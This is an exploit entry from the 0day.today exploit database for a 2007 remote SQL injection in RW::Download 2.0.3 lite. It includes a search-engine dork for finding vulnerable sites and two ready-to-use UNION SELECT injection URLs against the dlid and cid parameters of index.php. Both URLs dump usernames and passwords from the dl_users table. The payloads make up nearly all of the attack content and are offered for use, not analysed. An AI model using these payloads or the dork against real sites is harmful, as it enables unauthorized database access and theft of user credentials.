[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

RW::Download 2.0.3 lite (index.php dlid) Remote SQL Injection Vuln

Author
k1tk4t
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2113
Category
web applications
Date add
06-09-2007
Platform
unsorted
==================================================================
RW::Download 2.0.3 lite (index.php dlid) Remote SQL Injection Vuln
==================================================================



########################################################################
# RW::Download v2.0.3 lite - Remote SQL Injection
# Vendor           : http://www.rwscripts.com/
# Ditemukan oleh   : k1tk4t 
# Lokasi           : Indonesia 
# Dork             : "Powered by RW::Download v2.0.3 lite"
########################################################################

http://localhost/UPLOAD/index.php?url=&dlid=-9%20UNION%20SELECT%20null,null,null,null,username,null,null,null,null,null,null,null,null,password,null,null,null,null%20from%20dl_users/*

http://localhost/UPLOAD/index.php?url=&cid=-9%20UNION%20SELECT%20null,null,concat(username,0x3a,password),null,null,null%20from%20dl_users/*

########################################################################
Terimakasih untuk;
str0ke, DNX
xoron,iFX,x-ace,nyubi,arioo,selikoer,k1ngk0ng,aldy_BT,adhietslank
dan semua temen2 komunitas security&hacking



#  0day.today [2024-11-15]  #